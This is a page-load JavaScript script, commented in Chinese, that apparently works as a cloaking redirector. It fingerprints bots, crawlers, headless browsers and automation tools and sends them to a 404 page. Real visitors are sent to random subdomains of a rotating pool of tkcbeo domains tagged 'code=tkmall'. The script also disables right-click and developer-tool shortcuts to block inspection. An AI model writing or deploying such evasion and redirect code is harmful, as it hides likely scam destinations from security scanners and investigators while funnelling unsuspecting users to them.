// 检测是否为机器人、爬虫或沙盒环境 function isBotOrSandbox() { const userAgent = (navigator.userAgent || navigator.vendor || window.opera).toLowerCase(); // 机器人/爬虫关键词 const botKeywords = [ 'bot', 'spider', 'crawler', 'scraper', 'monitor', 'analyzer', 'indexer', 'slurp', 'bingpreview', 'googlebot', 'baiduspider', 'yandexbot', 'duckduckbot', 'facebot', 'ia_archiver' ]; // 沙盒环境检测 const sandboxIndicators = [ 'phantom', 'puppeteer', 'selenium', 'headless', 'webdriver', 'playwright', 'cheerio', 'jsdom' ]; // 检查用户代理 for (let keyword of [...botKeywords, ...sandboxIndicators]) { if (userAgent.indexOf(keyword) !== -1) { return true; } } // 额外的沙盒环境检测 if (window.phantom || window.__nightmare || window.callPhantom) { return true; } // 检查 WebDriver 属性 if (navigator.webdriver) { return true; } // 检查语言设置(沙盒环境可能缺少语言设置) if (!navigator.language && !navigator.languages.length) { return true; } return false; } // 生成随机字符串 function generateRandomString(length) { let characters = 'abcdefghijklmnopqrstuvwxyz0123456789'; let randomString = ''; for (let i = 0; i < length; i++) { randomString += characters.charAt(Math.floor(Math.random() * characters.length)); } return randomString; } // 域名池 const domainPool = ["tkcbeo.com","tkcbeo01.com", "tkcbeo66.com","tkcbeo88.com","tkcbeovip.com"]; // 检查完整二级域名是否可访问 function checkSubdomainAccessibility(fullSubdomain) { return new Promise((resolve) => { const img = new Image(); const timeout = 3000; // 3秒超时 const timer = setTimeout(() => { resolve(false); }, timeout); img.onload = function() { clearTimeout(timer); resolve(true); }; img.onerror = function() { clearTimeout(timer); resolve(false); }; // 尝试加载完整二级域名的资源 img.src = `https://${fullSubdomain}/favicon.ico?t=${Date.now()}`; }); } // 重定向到可用的域名 async function redirectToAvailableDomain() { // 如果是机器人或沙盒环境,重定向到404页面 if (isBotOrSandbox()) { window.location.href = '/404.html'; return; } const randomString = generateRandomString(20); // 随机打乱域名池 const shuffledDomains = [...domainPool].sort(() => Math.random() - 0.5); // 尝试访问每个域名的二级域名 for (let domain of shuffledDomains) { try { const fullSubdomain = `${randomString}.${domain}`; const isAccessible = await checkSubdomainAccessibility(fullSubdomain); if (isAccessible) { const targetUrl = `https://${fullSubdomain}?code=tkmall`; console.log(`Redirecting to: ${targetUrl}`); location.replace(targetUrl); return; } else { console.log(`Subdomain ${fullSubdomain} is not accessible, trying next...`); } } catch (error) { console.error(`Error checking subdomain for ${domain}:`, error); continue; } } // 如果所有二级域名都不可用,随机选择一个域名 const randomDomain = shuffledDomains[Math.floor(Math.random() * shuffledDomains.length)]; const fallbackUrl = `https://${randomString}.${randomDomain}?code=tkmall`; console.warn(`All subdomains failed, using random domain: ${fallbackUrl}`); location.replace(fallbackUrl); } // 页面加载完成后执行重定向 window.onload = function() { setTimeout(redirectToAvailableDomain, 100); }; // 防止右键检查和开发者工具 document.addEventListener('contextmenu', function(e) { e.preventDefault(); return false; }); document.addEventListener('keydown', function(e) { // 禁用 F12, Ctrl+Shift+I, Ctrl+Shift+J, Ctrl+U if (e.key === 'F12' || (e.ctrlKey && e.shiftKey && e.key === 'I') || (e.ctrlKey && e.shiftKey && e.key === 'J') || (e.ctrlKey && e.key === 'U')) { e.preventDefault(); return false; } });